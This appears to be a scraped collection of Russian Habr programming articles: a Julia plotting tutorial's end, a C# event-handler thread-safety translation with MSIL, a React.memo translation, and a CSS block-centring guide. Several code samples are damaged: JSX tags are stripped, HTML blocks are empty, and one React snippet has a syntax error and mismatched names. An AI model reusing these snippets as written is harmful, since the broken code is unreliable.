U2 = [ U[i,j] for i = 1:60, j = 1:size(U,2) ] # срежем пустую область
surf(U2) # такие вещи лучше смотреть с разных ракурсов
```
`heatmap(U, yaxis=("Координаты возмущения", (0, 50), 0:10:50))`
На сегодня достаточно. Для более детального ознакомления:
[ссылка PyPlot на гитхаб](https://github.com/JuliaPy/PyPlot.jl), [еще примеры использования в качестве окружения Plots](http://docs.juliaplots.org/latest/examples/pyplot/) и [хорошая русскоязычная памятка по Julia](https://ru.bmstu.wiki/Julia_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)). | https://habr.com/ru/post/429218/ | null | ru | null |
# Вызываем обработчики событий потокобезопасно без лишнего присваивания в C# 6
От переводчика
--------------
Часто начинающие разработчики спрашивают, зачем при вызове обработчика нужно копировать его в локальную переменную, а как показывает код ревью, даже опытные разработчики забывают об этом. В C# 6 разработчики языка добавили много синтаксического сахара, в том числе null-conditional operator (null-условный оператор или Элвис-оператор — **?.**), который позволяет нам избавиться от ненужного (на первый взгляд) присваивания. Под катом объяснения от Джона Скита — одного из самых известных дот нет гуру.
Проблема
--------
Вызов обработчика в языке C# всегда сопровождался не самым очевидным кодом, потому что событие, у которого нет подписчиков, представлено в виде null ссылки. Из-за этого мы обычно писали так:
```
public event EventHandler Foo;
public void OnFoo()
{
EventHandler handler = Foo;
if (handler != null)
{
handler(this, EventArgs.Empty);
}
}
```
Локальную переменную handler нужно использовать потому, что без нее к обработчику события Foo доступ идет 2 раза (при проверке на null и при самом вызове). В таком случае есть вероятность, что последний подписчик удалится как раз между этими доступами к Foo.
```
// Плохой код, не делайте так!
if (Foo != null)
{
// Foo может быть null, если доступ
// к классу идет из нескольких потоков.
Foo(this, EventArgs.Empty);
}
```
Этот код можно упростить, создав метод расширения:
```
public static void Raise(this EventHandler handler, object sender, EventArgs args)
{
if (handler != null)
{
handler(sender, args);
}
}
```
Тогда используя этот метод расширения, первый вызов перепишется:
```
public void OnFoo()
{
Foo.Raise(this, EventArgs.Empty);
}
```
Минус данного подхода в том, что метод расширения придется писать для каждого типа обработчика.
C# 6 нас спасет!
----------------
Null-условный оператор (**?.**), появившийся в C# 6, может использоваться не только для доступа к свойствам, но и для вызова методов. Компилятор вычисляет выражение только один раз, поэтому код можно писать без использования метода расширения:
```
public void OnFoo()
{
Foo?.Invoke(this, EventArgs.Empty);
}
```
Ура! Этот код никогда не выбросит NullReferenceException, и нам не нужны вспомогательные классы.
Конечно, было бы лучше, если бы мы могли написать Foo?(this, EventArgs.Empty), но тогда это был бы уже не **?.** оператор, что немного усложнило бы язык. Поэтому дополнительный вызов Invoke меня не сильно беспокоит.
Что это за штука — потокобезопасность?
--------------------------------------
Написанный нами код является «потокобезопасным» в том смысле, что ему все равно, что делают другие потоки — мы никогда не получим NullReferenceException. Однако, если другие потоки подписываются или отменяют подписку на событие, мы можем не увидеть самые последние изменения в списке подписчиков события. Это происходит из-за сложностей в реализации общей модели памяти.
В C# 4 события реализованы с помощью метода Interlocked.CompareExchange, поэтому мы просто можем использовать правильный метод Interlocked.CompareExchange, чтобы убедиться, что получим самое последнее значение. Теперь мы можем объединить эти 2 подхода и написать:
```
public void OnFoo()
{
Interlocked.CompareExchange(ref Foo, null, null)?.Invoke(this, EventArgs.Empty);
}
```
Теперь без написания *дополнительного* кода мы можем уведомить самый последний набор подписчиков, без риска свалиться с NullReferenceException. Спасибо [David Fowler](https://twitter.com/davidfowl) за напоминание о такой возможности.
Конечно, вызов CompareExchange выглядит некрасиво. Начиная с .NET 4.5 и выше существует метод [Volatile.Read](https://msdn.microsoft.com/en-us/library/gg712828.aspx), который *может* решить нашу проблему, но мне не до конца ясно (если читать документацию), делает ли этот метод то, что нужно. (В описании метода говорится, что он запрещает ставить последующие операции чтения/записи до этого метода, в нашем же случае нужно запретить ставить *предшествующие* операции записи *после* этого изменяемого чтения).
```
public void OnFoo()
{
// .NET 4.5+, может быть потокобезопасно, а может и не быть...
Volatile.Read(ref Foo)?.Invoke(this, EventArgs.Empty);
}
```
Такой подход мне не нравится, потому что я не уверен, что все предусмотрел. Продвинутые читатели, возможно, смогут подсказать, почему такой подход не верен и не попал в BCL.
Альтернативный подход
---------------------
В прошлом я пользовался таким альтернативным решением: создаем пустой фиктивный обработчик события, используя одно преимущество анонимных методов, которое у них есть по сравнению с лямбда-выражениями — возможность не указывать список параметров:
```
public event EventHandler Foo = delegate {}
public void OnFoo()
{
// Foo will never be null
Volatile.Read(ref Foo).Invoke(this, EventArgs.Empty);
}
```
При таком подходе все еще остаются проблемы с тем, что мы можем вызывать не самый последний список подписчиков, но зато нам не надо волноваться о проверке на null и NullReferenceException.
Исследуем MSIL
--------------
*От переводчика:* этой части нет в статье Джона, это мои личный изыскания в ildasm'е.
Посмотрим, какой MSIL код генерируется в разных случаях.
**Плохой код**
```
public event EventHandler Foo;
public void OnFoo()
{
if (Foo != null)
{
Foo(this, EventArgs.Empty);
}
}
.method public hidebysig instance void OnFoo() cil managed
{
// Code size 35 (0x23)
.maxstack 3
.locals init ([0] bool V_0)
IL_0000: nop
IL_0001: ldarg.0 // кладем this в стек
IL_0002: ldfld class [mscorlib]System.EventHandler A::Foo // кладем в стек поле Foo
IL_0007: ldnull // кладем в стек null
IL_0008: cgt.un // сравниваем 2 верхних значения в стеке (Foo и null) - если равны, то кладем в стек 0 (false)
IL_000a: stloc.0 // сохраняем результат во временную локальную переменную типа bool
IL_000b: ldloc.0 // кладем ее в стек
IL_000c: brfalse.s IL_0022 // если в стеке лежит false, то переходим к IL_0022 (return)
IL_000e: nop
IL_000f: ldarg.0 // кладем в стек this
IL_0010: ldfld class [mscorlib]System.EventHandler A::Foo // кладем в стек поле Foo - !!!Вот тут можем положить уже null
IL_0015: ldarg.0 // кладем в стек this
IL_0016: ldsfld class [mscorlib]System.EventArgs [mscorlib]System.EventArgs::Empty // кладем в стек System.EventArgs::Empty
IL_001b: callvirt instance void [mscorlib]System.EventHandler::Invoke(object,
class [mscorlib]System.EventArgs) // вызываем Foo(this, EventArgs.Empty)
IL_0020: nop
IL_0021: nop
IL_0022: ret
} // end of method A::OnFoo
```
В этом коде мы дважды обращаемся к полю Foo: для сравнения с null (IL\_0002: ldfld) и собственно вызова (IL\_0010: ldfld). Между тем, как мы проверили Foo на равенство null, и тем, как заново получили к нему доступ, положили в стек и вызвали метод, от события могли отписаться последние подписчики, и второй раз загружен будет null — здравствуй, NullReferenceException.
Посмотрим, как решится проблема с помощью использования дополнительной локальной переменной.
**Используя переменную**
```
public event EventHandler Foo;
public void OnFoo()
{
EventHandler handler = Foo;
if (handler != null)
{
handler(this, EventArgs.Empty);
}
}
.method public hidebysig instance void OnFoo() cil managed
{
// Code size 32 (0x20)
.maxstack 3
.locals init ([0] class [mscorlib]System.EventHandler 'handler',
[1] bool V_1)
IL_0000: nop
IL_0001: ldarg.0 // кладем this в стек
IL_0002: ldfld class [mscorlib]System.EventHandler A::Foo //ищем поле Foo, теперь оно наверху стека
IL_0007: stloc.0 // сохраняем Foo в переменную handler
IL_0008: ldloc.0 // кладем в стек handler
IL_0009: ldnull // кладем в стек null
IL_000a: cgt.un // сравниваем 2 верхних значения в стеке (handler и null) - если равны, то кладем в стек 0 (false)
IL_000c: stloc.1 // сохраняем результат во временную локальную переменную типа bool
IL_000d: ldloc.1 // кладем ее в стек
IL_000e: brfalse.s IL_001f // если в стеке лежит false, то переходим к IL_001f (return)
IL_0010: nop
IL_0011: ldloc.0 // кладем в стек handler
IL_0012: ldarg.0 // кладем в стек this
IL_0013: ldsfld class [mscorlib]System.EventArgs [mscorlib]System.EventArgs::Empty // кладем в стек System.EventArgs::Empty
IL_0018: callvirt instance void [mscorlib]System.EventHandler::Invoke(object,
class [mscorlib]System.EventArgs) // вызываем handler(this, EventArgs.Empty)
IL_001d: nop
IL_001e: nop
IL_001f: ret
} // end of method A::OnFoo
```
В этом случае все просто: доступ к Foo происходит один раз (IL\_0002: ldfld), потом вся работа идет с переменной handler, поэтому опасности получить NullReferenceException нет.
Теперь решение с использованием оператора **?.**.
**C# 6**
```
public event EventHandler Foo;
public void OnFoo()
{
Foo?.Invoke(this, EventArgs.Empty);
}
.method public hidebysig instance void OnFoo() cil managed
{
// Code size 26 (0x1a)
.maxstack 8
IL_0000: nop
IL_0001: ldarg.0 // кладем в стек this
IL_0002: ldfld class [mscorlib]System.EventHandler A::Foo // кладем в стек поле Foo
IL_0007: dup // дублируем в стеке Foo
IL_0008: brtrue.s IL_000d // если в стеке лежит true или не null и не 0, то переходим к IL_000d (вызов метода)
IL_000a: pop // очищаем стек - вытаскиваем из него Foo (мы попали сюда, если Foo == null)
IL_000b: br.s IL_0019 // выходим из метода
IL_000d: ldarg.0 // кладем в стек this (мы пришли сюда, если Foo != null)
IL_000e: ldsfld class [mscorlib]System.EventArgs [mscorlib]System.EventArgs::Empty // кладем в стек EventArgs::Empty
IL_0013: callvirt instance void [mscorlib]System.EventHandler::Invoke(object,
class [mscorlib]System.EventArgs) // вызываем Invoke
IL_0018: nop
IL_0019: ret
} // end of method A::OnFoo
```
В C# 6 с использованием оператора **?.** все становится интереснее. Мы кладем в стек поле Foo, дублируем его (IL\_0007: dup — вся магия тут), потом если оно не null — то идем к IL\_000d и вызываем метод Invoke. Если же Foo == null, то очищаем стек и выходим (IL\_000b: br.s IL\_0019). Мы действительно всего один раз считываем Foo, поэтому NullReferenceException не произойдет.
Используем оператор **?.** и Interlocked.CompareExchange.
**Interlocked.CompareExchange**
```
public event EventHandler Foo;
public void OnFoo()
{
Interlocked.CompareExchange(ref Foo, null, null)?.Invoke(this, EventArgs.Empty);
}
.method public hidebysig instance void OnFoo() cil managed
{
// Code size 33 (0x21)
.maxstack 8
IL_0000: nop
IL_0001: ldarg.0 // кладем в стек this
IL_0002: ldflda class [mscorlib]System.EventHandler A::Foo // кладем в стек адрес поля Foo
IL_0007: ldnull // кладем в стек null
IL_0008: ldnull // кладем в стек null
IL_0009: call !!0 [mscorlib]System.Threading.Interlocked::CompareExchange(!!0&,
!!0,
!!0) // вызываем Interlocked::CompareExchange
IL\_000e: dup // дублируем в стеке Foo - последнюю версию, полученную через Interlocked::CompareExchange
IL\_000f: brtrue.s IL\_0014 // если в стеке лежит true или не null и не 0, то переходим к IL\_0014 (вызов метода)
IL\_0011: pop // очищаем стек - вытаскиваем из него Foo (мы попали сюда, если Foo == null)
IL\_0012: br.s IL\_0020 // выходим из метода
IL\_0014: ldarg.0 // кладем в стек this
IL\_0015: ldsfld class [mscorlib]System.EventArgs [mscorlib]System.EventArgs::Empty // кладем в стек EventArgs::Empty
IL\_001a: callvirt instance void [mscorlib]System.EventHandler::Invoke(object,
class [mscorlib]System.EventArgs) // вызываем Invoke
IL\_001f: nop
IL\_0020: ret
} // end of method A::OnFoo
```
Этот код отличается от предыдущего только вызовом Interlocked.CompareExchange (IL\_0009: call !!0 [mscorlib]System.Threading.Interlocked::CompareExchange), потом код точно такой же, как и в предыдущем методе (начиная с IL\_000e).
Используем оператор **?.** и Volatile.Read.
**Volatile.Read**
```
public event EventHandler Foo;
public void OnFoo()
{
Volatile.Read(ref Foo)?.Invoke(this, EventArgs.Empty);
}
.method public hidebysig instance void OnFoo() cil managed
{
// Code size 31 (0x1f)
.maxstack 8
IL_0000: nop
IL_0001: ldarg.0 // кладем в стек this
IL_0002: ldflda class [mscorlib]System.EventHandler A::Foo // кладем в стек адрес поля Foo
IL_0007: call !!0 [mscorlib]System.Threading.Volatile::Read(!!0&) // вызываем Volatile::Read
IL\_000c: dup // дублируем в стеке Foo - последнюю версию, полученную через Volatile::Read
IL\_000d: brtrue.s IL\_0012 // если в стеке лежит true или не null и не 0, то переходим к IL\_0012 (вызов метода)
IL\_000f: pop // очищаем стек - вытаскиваем из него Foo (мы попали сюда, если Foo == null)
IL\_0010: br.s IL\_001e // выходим из метода
IL\_0012: ldarg.0 // кладем в стек this
IL\_0013: ldsfld class [mscorlib]System.EventArgs [mscorlib]System.EventArgs::Empty // кладем в стек EventArgs::Empty
IL\_0018: callvirt instance void [mscorlib]System.EventHandler::Invoke(object,
class [mscorlib]System.EventArgs) // вызываем Invoke
IL\_001d: nop
IL\_001e: ret
} // end of method A::OnFoo
```
В этом случае вызов Interlocked.CompareExchange меняется на вызов Volatile.Read, а потом (начиная с IL\_000c: dup) все без изменений.
Все решения с использованием оператора **?.** отличаются тем, что доступ к полю происходит один раз, для вызова обработчика используется его копия (MSIL команда dup), поэтому мы вызываем Invoke для точной копии объекта, который и сравнивали с null — NullReferenceException произойти не может. В остальном методы отличаются только тем, насколько быстро они подхватывают изменения в многопоточной среде.
Заключение
----------
Да, C# 6 рулит — и не в первый раз. И нам уже доступна стабильная версия! | https://habr.com/ru/post/272571/ | null | ru | null |
# Повышаем производительность в компонентах-функциях React с помощью React.memo ()
Представляем вам перевод статьи Chidume Nnamdi, которая была опубликована на blog.bitsrc.io. Если вы хотите узнать, как избежать лишнего рендера и чем полезны новые инструменты в React, добро пожаловать под кат.
Команда React.js прилагает все усилия для того, чтобы React работал как можно быстрее. Чтобы разработчики могли ускорить свои приложения, написанные на React, в него были добавлены следующие инструменты:
* React.lazy и Suspense для отложенной загрузки компонентов;
* Pure Component;
* хуки жизненного цикла shouldComponentUpdate(…) {…}.
В этой статье мы рассмотрим в числе прочих еще один инструмент оптимизации, добавленный в версии React v16.6 для ускорения компонентов-функций — **React.memo**.
Совет: воспользуйтесь [Bit](https://github.com/teambit/bit), чтобы устанавливать компоненты React и делиться ими. Используйте свои компоненты для сборки новых приложений и делитесь ими с командой, чтобы ускорить работу. Попробуйте!
### Лишний рендер
В React каждому компоненту соответствует единица просмотра. Также у компонентов есть состояния. Когда из-за действий пользователя меняется значение состояния, компонент понимает, что нужна перерисовка. Компонент React может перерисовываться любое количество раз. В некоторых случаях это необходимо, но чаще всего без ререндера можно обойтись, тем более что он сильно замедляет работу приложения.
Рассмотрим следующий компонент:
```
import React from 'react';
class TestC extends React.Component {
constructor(props) {
super(props);
this.state = {
count: 0
}
}
componentWillUpdate(nextProps, nextState) {
console.log('componentWillUpdate')
}
componentDidUpdate(prevProps, prevState) {
console.log('componentDidUpdate')
}
render() {
return (
{this.state.count}
this.setState({count: 1})}>Click Me
);
}
}
export default TestC;
```
Начальное значение состояния {count: 0} — 0. Если нажать на кнопку Click me, состояние count станет 1. На нашем экране 0 также поменяется на 1. Но если мы кликаем на кнопку снова, начинаются проблемы: компонент не должен перерисовываться, ведь его состояние не изменилось. Значение счетчика «до» — 1, новое значение — тоже единица, а значит, обновлять DOM нет необходимости.
Чтобы видеть обновление нашего TestC, при котором дважды устанавливается одно и то же состояние, я добавил два метода жизненного цикла. React запускает цикл componentWillUpdate, когда компонент обновляется/перерисовывается из-за изменения состояния. Цикл componentdidUpdate React запускает при успешном ререндере компонента.
Если запустить компонент в браузере и попробовать нажать на кнопку Click me несколько раз, мы получим такой результат:
Повторение записи componentWillUpdate в нашей консоли свидетельствует о том, что компонент перерисовывается даже тогда, когда состояние не меняется. Это лишний рендер.
### Pure Component / shouldComponentUpdate
Избежать лишнего рендера в компонентах React поможет хук жизненного цикла shouldComponentUpdate.
React запускает метод **shouldComponentUpdate** в начале отрисовки компонента и получает от этого метода зеленый свет для продолжения процесса или сигнал о запрещении процесса.
Пусть наш shouldComponentUpdate выглядит так:
```
shouldComponentUpdate(nextProps, nextState) {
return true
}
```
* `nextProps`: следующее значение `props`, которое получит компонент;
* `nextState`: следующее значение `state`, которое получит компонент.
Так мы разрешаем React отрисовать компонент, потому что возвращаемое значение `true`.
Допустим, мы напишем следующее:
```
shouldComponentUpdate(nextProps, nextState) {
return false
}
```
В этом случае мы запрещаем React отрисовку компонента, ведь возвращается значение `false`.
Из вышесказанного следует, что для отрисовки компонента нам нужно, чтобы вернулось значение `true`. Теперь мы можем переписать компонент TestC следующим образом:
```
import React from 'react';
class TestC extends React.Component {
constructor(props) {
super(props);
this.state = {
count: 0
}
}
componentWillUpdate(nextProps, nextState) {
console.log('componentWillUpdate')
}
componentDidUpdate(prevProps, prevState) {
console.log('componentDidUpdate')
}
shouldComponentUpdate(nextProps, nextState) {
if (this.state.count === nextState.count) {
return false
}
return true
}
render() {
return (
{ this.state.count }
this.setState({ count: 1 }) }> Click Me
);
}
}
export default TestC;
```
Мы добавили хук shouldComponentUpdate в компонент TestC. Теперь значение `count` в объекте текущего состояния `this.state.count` сравнивается со значением `count` в объекте следующего состояния `nextState.count`. Если они равны `===`, перерисовка не происходит и возвращается значение `false`. Если они не равны, возвращается значение `true` и для отображения нового значения запускается ререндер.
Если протестировать код в браузере, мы увидим уже знакомый результат:
Но нажав на кнопку `Click Me` несколько раз, все, что мы увидим, будет следующее (отображенное только один раз!):
`componentWillUpdate
componentDidUpdate`
Изменять состояние компонента TestC можно во вкладке React DevTools. Кликните на вкладку React, выберите справа TestC, и вы увидите значение состояния счетчика:
Это значение можно изменить. Кликните на текст счетчика, наберите 2 и нажмите Enter.
Изменится состояние count, и в консоли мы увидим:
```
componentWillUpdate
componentDidUpdate
componentWillUpdate
componentDidUpdate
```
Предыдущее значение было 1, а новое — 2, поэтому потребовалась перерисовка.
Перейдем к **Pure Component**.
Pure Component появился в React в версии v15.5. С его помощью проводится сравнение значений по умолчанию (`change detection`). Используя `extend React.PureComponent`, можно не добавлять метод жизненных циклов `shouldComponentUpdate` к компонентам: отслеживание изменений происходит само собой.
Добавим PureComponent в компонент TestC.
```
import React from 'react';
class TestC extends React.PureComponent {
constructor(props) {
super(props);
this.state = {
count: 0
}
}
componentWillUpdate(nextProps, nextState) {
console.log('componentWillUpdate')
}
componentDidUpdate(prevProps, prevState) {
console.log('componentDidUpdate')
}
/*shouldComponentUpdate(nextProps, nextState) {
if (this.state.count === nextState.count) {
return false
}
return true
}*/
render() {
return (
{ this.state.count }
this.setState({ count: 1 })
}> Click Me
);
}
}
export default TestC;
```
Как видите, мы вынесли `shouldComponentUpdate` в комментарий. Он нам больше не нужен: всю работу выполняет `React.PureComponent`.
Перезагрузив браузер, чтобы протестировать новое решение, и нажав на кнопку `Click Me` несколько раз, мы получим:
Как видите, в консоли появилась только одна запись `component*Update`.
Посмотрев, как работать в React с перерисовкой в компонентах-классах ES6, перейдем к компонентам-функциям. Как с ними добиться тех же результатов?
### Компоненты-функции
Мы уже знаем, как оптимизировать работу с классами с помощью Pure Component и метода жизненного цикла `shouldComponentUpdate`. Никто не спорит с тем, что компоненты-классы — главные составляющие React, но в качестве компонентов можно использовать и функции.
```
function TestC(props) {
return (
I am a functional component
)
}
```
Важно помнить, что у компонентов-функций, в отличие от компонентов-классов, нет состояния (хотя теперь, когда появились хуки `useState`, с этим можно поспорить), а это значит, что мы не можем настраивать их перерисовку. Методы жизненного цикла, которыми мы пользовались, работая с классами, здесь нам не доступны. Если мы можем добавить хуки жизненных циклов к компонентам-функциям, мы можем добавить метод `shouldComponentUpdate`, чтобы сообщить React о необходимости ререндера функции. (Возможно, в последнем предложении автор допустил фактическую ошибку. — Прим. ред.) И, конечно же, мы не можем использовать `extend React.PureComponent`.
Превратим наш компонент-класс ES6 TestC в компонент-функцию.
```
import React from 'react';
const TestC = (props) => {
console.log(`Rendering TestC :` props)
return (
{props.count}
)
}
export default TestC;
// App.js
```
После отрисовки в консоли мы видим запись `Rendering TestC :5`.
Откройте DevTools и кликните на вкладку React. Здесь мы попробуем изменить значение свойств компонента TestC. Выберите TestC, и справа откроются свойства счетчика со всеми свойствами и значениями TestC. Мы видим только счетчик с текущим значением 5.
Кликните на число 5, чтобы изменить значение. Вместо него появится окно ввода.
Если мы изменим числовое значение и нажмем на Enter, свойства компонента изменятся в соответствии с введенным нами значением. Предположим, на 45.
Перейдите во вкладку Console.
Компонент TestC был перерисован, потому что предыдущее значение 5 изменилось на текущее — 45. Вернитесь во вкладку React и измените значение на 45, затем снова перейдите к Console.
Как видите, компонент снова перерисован, хотя предыдущее и новое значения одинаковы. :(
Как управлять ререндером?
### Решение: React.memo()
`React.memo()`— новинка, появившаяся в React v16.6. Принцип ее работы схож с принципом работы `React.PureComponent`: помощь в управлении перерисовкой компонентов-функций. `React.memo(...)` для компонентов-классов — это `React.PureComponent` для компонентов-функций.
**Как работать с React.memo(…)?**
Довольно просто. Скажем, у нас есть компонент-функция.
```
const Funcomponent = ()=> {
return (
Hiya!! I am a Funtional component
)
}
```
Нам нужно только передать FuncComponent в качестве аргумента функции React.memo.
```
const Funcomponent = ()=> {
return (
Hiya!! I am a Funtional component
)
}
const MemodFuncComponent = React.memo(FunComponent)
```
React.memo возвращает `purified MemodFuncComponent`. Именно его мы и будем отрисовывать в разметке JSX. Когда свойства и состояние компонента меняются, React сравнивает предыдущие и текущие свойства и состояния компонента. И только если они неидентичны, компонент-функция перерисовывается.
Применим это к компоненту-функции TestC.
```
let TestC = (props) => {
console.log('Rendering TestC :', props)
return (
{ props.count }
)
}
TestC = React.memo(TestC);
```
Откройте браузер и загрузите приложение. Откройте DevTools и перейдите во вкладку React. Выберите .
Если в блоке справа мы изменим свойства счетчика на 89, приложение будет перерисовано.
Если же мы изменим значение на идентичное предыдущему, 89, то…
Перерисовки не будет!
Слава React.memo(…)! :)
Без применения `React.memo(...)` в нашем первом примере компонент-функция TestC перерисовывается даже тогда, когда предыдущее значение меняется на идентичное. Теперь же, благодаря `React.memo(...)`, мы можем избежать лишнего рендера компонентов-функций.
### Вывод
* Пройдемся по списку?
* `React.PureComponent` — серебро;
* `React.memo(...)` — золото;
* `React.PureComponent` работает с классами ES6;
* `React.memo(...)` работает с функциями;
* `React.PureComponent` оптимизирует перерисовку классов ES6;
* `React.memo(...)` оптимизирует перерисовку функций;
* оптимизация функций — потрясающая идея;
* `React` больше никогда не будет прежним.
Если у вас есть какие-то вопросы по статье или любая дополнительная информация, правки или возражения, не стесняйтесь писать [мне](https://blog.bitsrc.io/@kurtwanger40) комментарии, имейлы или личные сообщения.
Спасибо! | https://habr.com/ru/post/442116/ | null | ru | null |
# Выравниваем блок по центру страницы
Очень часто стоит задача выровнять блок по центру страницы / экрана, да ещё и так, чтобы без ява-скрипта, без задания жёстких размеров или отрицательных отступов, ещё чтобы и скроллбары работали у родителя, если блок превышает его размеры. В сети ходят достаточно много однообразных примеров как выровнять блок по центру экрана. Как правило большинство из них основаны на одних принципах.
Ниже представлены основные способы решения задачи, их плюсы и минусы. Чтобы понимать суть примеров, рекомендую уменьшить высоту / ширину окошка Result в примерах по указанным ссылкам.
#### Вариант 1. Отрицательный отступ.
Позиционируем **блок** атрибутами top и left на 50%, и заранее зная высоту и ширину блока, задаём отрицательный margin, который равен половине размера **блока**. Огромным минусом данного варианта является то, что нужно подсчитывать отрицательные отступы. Так же **блок** не совсем корректно ведёт себя в окружении скроллбаров — он попросту обрезается так как имеет отрицательные отступы.
Пример: [jsfiddle.net/serdidg/pphzjh25](https://jsfiddle.net/serdidg/pphzjh25/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: auto;
}
.block {
width: 250px;
height: 250px;
position: absolute;
top: 50%;
left: 50%;
margin: -125px 0 0 -125px;
img {
max-width: 100%;
height: auto;
display: block;
margin: 0 auto;
border: none;
}
}
```
#### Вариант 2. Автоматический отступ.
Менее распространённый, но схожий с первым. Для **блока** задаём ширину и высоту, позиционируем атрибутами top right bottom left на 0, и задаём margin auto. Плюсом данного варианта являются рабочие скроллбары у **родителя**, если у последнего задана 100% ширина и высота. Минусом данного способ является жёсткое задание размеров.
Пример: [jsfiddle.net/serdidg/sg0xbw88](https://jsfiddle.net/serdidg/sg0xbw88/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: auto;
}
.block {
width: 250px;
height: 250px;
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
margin: auto;
img {
max-width: 100%;
height: auto;
display: block;
margin: 0 auto;
border: none;
}
}
```
#### Вариант 3. Таблица.
Задаём **родителю** табличные стили, ячейке **родителя** устанавливаем выравнивание текста по центру. А **блоку** задаём модель строчного блока. Минусами мы получаем не рабочие скроллбары, и в целом не эстетичность «эмуляции» таблицы.
Пример: [jsfiddle.net/serdidg/fk5nqh52](https://jsfiddle.net/serdidg/fk5nqh52/).
```
```
```
.parent {
width: 100%;
height: 100%;
display: table;
position: absolute;
top: 0;
left: 0;
.inner {
display: table-cell;
text-align: center;
vertical-align: middle;
}
}
.block {
display: inline-block;
img {
display: block;
border: none;
}
}
```
Чтобы добавить скролл в данный пример, придётся добавить в конструкцию ещё один элемент.
Пример: [jsfiddle.net/serdidg/xkb615mu](http://jsfiddle.net/serdidg/xkb615mu/).
#### Вариант 4. Псевдо-элемент.
Данный вариант лишён всех проблем, перечисленных у предыдущих способов, а так же решает первоначально поставленные задачи. Суть состоит в том, чтобы у **родителя** задать стили **псевдо-элементу** before, а именно 100% высоту, выравнивание по центру и модель строчного блока. Так же само и у **блока** ставится модель строчного блока, выравнивание по центру. Чтобы **блок** не «падал» под **псевдо-элемент**, когда размеры первого больше чем **родителя**, указываем **родителю** white-space: nowrap и font-size: 0, после чего у **блока** отменяем эти стили следующими — white-space: normal. В данном примере font-size: 0 нужен для того, чтобы убрать образовавшийся пробел между **родителем** и **блоком** в связи с форматированием кода. Пробел можно убрать и иными способами, но лучшим считается просто его не допускать.
Пример: [jsfiddle.net/serdidg/nfqg9rza](https://jsfiddle.net/serdidg/nfqg9rza/).
Примеры без нулевого font-size: [jsfiddle.net/serdidg/gw5dq4pv](https://jsfiddle.net/serdidg/gw5dq4pv/), [jsfiddle.net/serdidg/91784mfw](https://jsfiddle.net/serdidg/91784mfw/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: auto;
white-space: nowrap;
text-align: center;
font-size: 0;
&::before {
height: 100%;
display: inline-block;
vertical-align: middle;
content: '';
}
}
.block {
display: inline-block;
white-space: normal;
vertical-align: middle;
text-align: left;
img {
display: block;
border: none;
}
}
```
либо, если вам нужно, чтобы родитель занимал только высоту и ширину окна, а не всей страницы:
```
.parent {
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
overflow: auto;
white-space: nowrap;
text-align: center;
font-size: 0;
&::before {
height: 100%;
display: inline-block;
vertical-align: middle;
content: '';
}
}
.block {
display: inline-block;
white-space: normal;
vertical-align: middle;
text-align: left;
img {
display: block;
border: none;
}
}
```
#### Вариант 5. Flexbox.
Одним из самых простых и элегантных способов является использования flexbox. Но имейте ввиду, что центральное позиционирование сохраняется даже если родительский блок меньше дочернего, последний будет выходить за рамки и обрезаться.
Пример: [jsfiddle.net/serdidg/zyzvsk9d](https://jsfiddle.net/serdidg/zyzvsk9d/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
display: flex;
align-items: center;
align-content: center;
justify-content: center;
overflow: auto;
}
.block {
background: #60a839;
img {
display: block;
border: none;
}
}
```
В случае, если при уменьшении родительского блока дочерний не должен обрезаться по краям, используйте [авто маржины](https://www.w3.org/TR/css-flexbox-1/#auto-margins):
Пример: [jsfiddle.net/serdidg/2zqe1m3j](https://jsfiddle.net/serdidg/2zqe1m3j/).
```
.parent {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
display: flex;
overflow: auto;
}
.block {
margin: auto;
background: #60a839;
img {
display: block;
border: none;
}
}
```
#### Вариант 6. Transform.
Подходит в случае если мы ограничены структурой, и нет возможности манипулировать родительским элементом, а блок выровнять как-то нужно. На помощь придёт css функция `translate()`. При значение 50% абсолютное позиционирование расположит верхний левый угол блока точно по центру, затем отрицательное значение translate сдвинет блок относительно своих собственных размеров. Учтите, что могут всплыть негативные эффекты в виде размытых граней или начертания шрифта. Также подобный способ может привести к проблемах с вычислением положения блока с помощью java-script'а. Иногда для компенсации потери 50% ширины из-за использования css свойства `left` может помочь заданное у блока правило: `margin-right: -50%;`.
Пример. [jsfiddle.net/serdidg/vjxxo7ua](https://jsfiddle.net/serdidg/vjxxo7ua/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
overflow: auto;
}
.block {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
img {
display: block;
}
}
```
#### Вариант 7. Кнопка.
Пользователь [azproduction](https://habr.com/ru/users/azproduction/) [предложил](#comment_8013959) вариант, где **блок** обрамляется в тег button. Кнопка имеет свойство центрировать всё, что находится у неё внутри, а именно элементы строчной и блочно-строчной (inline-block) модели. На практике использовать не рекомендую.
Пример: [jsfiddle.net/serdidg/0bn8wg38](https://jsfiddle.net/serdidg/0bn8wg38/).
```
```
```
.parent {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
overflow: auto;
background: none;
border: none;
outline: none;
appearance: none;
}
.block {
display: inline-block;
img {
display: block;
border: none;
}
}
```
#### Бонус
Используя идею 4-го варианта, можно задавать внешние отступы для **блока**, и при этом последний будет адекватно отображаться в окружении скроллбаров.
Пример: [jsfiddle.net/serdidg/ugnp8ry7](https://jsfiddle.net/serdidg/ugnp8ry7/).
Так же можно выравнивать картинку по центру, и в случае если картинка больше **родителя**, масштабировать её по размеру **родителя**.
Пример: [jsfiddle.net/serdidg/Lhpa1s70](https://jsfiddle.net/serdidg/Lhpa1s70/).
Пример с большой картинкой: [jsfiddle.net/serdidg/tor2yudn](https://jsfiddle.net/serdidg/tor2yudn/). | https://habr.com/ru/post/238449/ | null | ru | null |
# Проверка SSL-сертификатов на предмет отзыва
